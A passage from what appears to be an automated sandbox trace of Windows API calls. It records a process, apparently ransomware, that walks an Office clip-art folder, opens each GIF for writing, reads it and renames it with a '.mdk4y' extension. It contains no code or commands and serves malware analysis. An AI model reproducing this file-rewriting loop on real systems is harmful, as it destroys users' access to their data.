lpWideCharStr="ZPDIR41F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR41F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.572] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827480300000) returned 1 [0199.573] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9a60, lpOverlapped=0x0) returned 1 [0199.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827482700000) returned 1 [0199.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827482700000) returned 1 [0199.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif.mdk4y")) returned 1 [0199.599] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.599] AreFileApisANSI () returned 1 [0199.599] GetACP () returned 0x4e4 [0199.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR42F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR42F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827483000000) returned 1 [0199.601] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe591, lpOverlapped=0x0) returned 1 [0199.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485000000) returned 1 [0199.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485000000) returned 1 [0199.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif.mdk4y")) returned 1 [0199.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.622] AreFileApisANSI () returned 1 [0199.622] GetACP () returned 0x4e4 [0199.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR43B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR43B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485200000) returned 1 [0199.623] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x98a, lpOverlapped=0x0) returned 1 [0199.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485400000) returned 1 [0199.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485400000) returned 1 [0199.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif.mdk4y")) returned 1 [0199.625] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.625] AreFileApisANSI () returned 1 [0199.625] GetACP () returned 0x4e4 [0199.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR43F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR43F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485500000) returned 1 [0199.625] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x997, lpOverlapped=0x0) returned 1 [0199.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485600000) returned 1 [0199.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485700000) returned 1 [0199.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif.mdk4y")) returned 1 [0199.627] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.627] AreFileApisANSI () returned 1 [0199.627] GetACP () returned 0x4e4 [0199.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR44B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR44B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485800000) returned 1 [0199.628] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b06, lpOverlapped=0x0) returned 1 [0199.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485900000) returned 1 [0199.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827485900000) returned 1 [0199.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif.mdk4y")) returned 1 [0199.630] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.630] AreFileApisANSI () returned 1 [0199.630] GetACP () returned 0x4e4 [0199.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR44F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR44F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827486100000) returned 1 [0199.631] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a76, lpOverlapped=0x0) returned 1 [0199.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827486200000) returned 1 [0199.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827486200000) returned 1 [0199.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif.mdk4y")) returned 1 [0199.633] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.633] AreFileApisANSI () returned 1 [0199.633] GetACP () returned 0x4e4 [0199.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR45B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR45B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827486400000) returned 1 [0199.634] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x17bb, lpOverlapped=0x0) returned 1 [0199.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827489400000) returned 1 [0199.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827489400000) returned 1 [0199.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif.mdk4y")) returned 1 [0199.666] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.666] AreFileApisANSI () returned 1 [0199.666] GetACP () returned 0x4e4 [0199.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR45F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR45F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827489900000) returned 1 [0199.669] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16eb, lpOverlapped=0x0) returned 1 [0199.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827490100000) returned 1 [0199.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827490100000) returned 1 [0199.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif.mdk4y")) returned 1 [0199.672] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.672] AreFileApisANSI () returned 1 [0199.672] GetACP () returned 0x4e4 [0199.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR46B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR46B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.672] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827490200000) returned 1 [0199.672] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1304, lpOverlapped=0x0) returned 1 [0199.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827495400000) returned 1 [0199.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827495400000) returned 1 [0199.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif.mdk4y")) returned 1 [0199.726] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.726] AreFileApisANSI () returned 1 [0199.726] GetACP () returned 0x4e4 [0199.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR46F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR46F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.726] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827495700000) returned 1 [0199.727] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x141c, lpOverlapped=0x0) returned 1 [0199.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827495900000) returned 1 [0199.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827495900000) returned 1 [0199.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif.mdk4y")) returned 1 [0199.731] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.731] AreFileApisANSI () returned 1 [0199.731] GetACP () returned 0x4e4 [0199.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR47B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR47B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.731] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827496200000) returned 1 [0199.732] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7517, lpOverlapped=0x0) returned 1 [0199.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827502100000) returned 1 [0199.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827502100000) returned 1 [0199.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif.mdk4y")) returned 1 [0199.793] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.793] AreFileApisANSI () returned 1 [0199.793] GetACP () returned 0x4e4 [0199.793] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR47F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR47F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.793] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827502400000) returned 1 [0199.794] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x539e, lpOverlapped=0x0) returned 1 [0199.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827504900000) returned 1 [0199.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827504900000) returned 1 [0199.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif.mdk4y")) returned 1 [0199.822] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.822] AreFileApisANSI () returned 1 [0199.822] GetACP () returned 0x4e4 [0199.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR48B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR48B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.822] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827505300000) returned 1 [0199.823] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x67f9, lpOverlapped=0x0) returned 1 [0199.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827506600000) returned 1 [0199.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827506600000) returned 1 [0199.836] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif.mdk4y")) returned 1 [0199.838] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.838] AreFileApisANSI () returned 1 [0199.838] GetACP () returned 0x4e4 [0199.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR48F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR48F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507000000) returned 1 [0199.840] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1ba1, lpOverlapped=0x0) returned 1 [0199.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507200000) returned 1 [0199.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507200000) returned 1 [0199.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), lpNewFileName="C:\\Program Files\\Microsoft 